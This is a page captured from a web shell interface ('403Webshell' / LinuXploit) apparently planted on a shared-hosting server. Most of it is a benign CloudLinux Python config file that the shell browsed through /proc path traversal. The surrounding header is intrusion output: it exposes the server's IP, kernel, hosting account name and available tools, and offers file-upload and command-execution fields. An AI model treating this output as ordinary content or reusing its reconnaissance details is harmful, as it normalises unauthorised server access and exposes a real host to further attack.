403Webshell
Server IP : 66.29.132.122  /  Your IP : 3.15.34.244
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/cloudlinux/venv/lib64/python3.11/site-packages/vendors_api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/cloudlinux/venv/lib64/python3.11/site-packages/vendors_api/config.py
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENCE.TXT
#
"""
Wrapper over integration config which provides
typing.
"""

import os
import shlex
from configparser import ConfigParser
from collections import namedtuple

from vendors_api.exceptions import NotImplementedByVendor

CONFIG_PATH = '/opt/cpvendor/etc/integration.ini'
integration_scripts_cache = None
config_last_modify_time = None


class ScriptsCMD(namedtuple('VendorScriptsPath', [
    'panel_info',
    'db_info',
    'packages',
    'users',
    'domains',
    'resellers',
    'admins',
    'php',
])):
    """
    Wrapper over namedtuple that raises exception
    when we access property that has None value
    """

    def __getattribute__(self, item):
        """
        Raise error if command is not implemented,
        but we try to get it in code
        """
        obj = super().__getattribute__(item)
        if obj is None:
            raise NotImplementedByVendor(item)
        return obj


def _split_path_or_none(cmd):
    """
    Taking command line as input, convert it into
    subprocess args
    If cmd is None -> return None
    """
    if cmd is None:
        return None
    return tuple(shlex.split(cmd))


def integration_scripts():
    global config_last_modify_time
    global integration_scripts_cache

    modify_time = os.path.getmtime(CONFIG_PATH)
    if integration_scripts_cache is None or \
            config_last_modify_time != modify_time:
        config = _read_config_file()

        scripts = config['integration_scripts']
        integration_scripts_cache = ScriptsCMD(
            panel_info=_split_path_or_none(scripts.get('panel_info')),
            db_info=_split_path_or_none(scripts.get('db_info')),
            packages=_split_path_or_none(scripts.get('packages')),
            users=_split_path_or_none(scripts.get('users')),
            domains=_split_path_or_none(scripts.get('domains')),
            resellers=_split_path_or_none(scripts.get('resellers')),
            admins=_split_path_or_none(scripts.get('admins')),
            php=_split_path_or_none(scripts.get('php')),
        )
        config_last_modify_time = modify_time

    return integration_scripts_cache


def _read_config_file():
    """
    Parse config file and return result as dictionary.
    """
    parser = ConfigParser(interpolation=None, strict=False)
    parser.read(CONFIG_PATH)

    return {s: dict(parser.items(s)) for s in parser.sections()}

Youez - 2016 - github.com/yon3zu
LinuXploit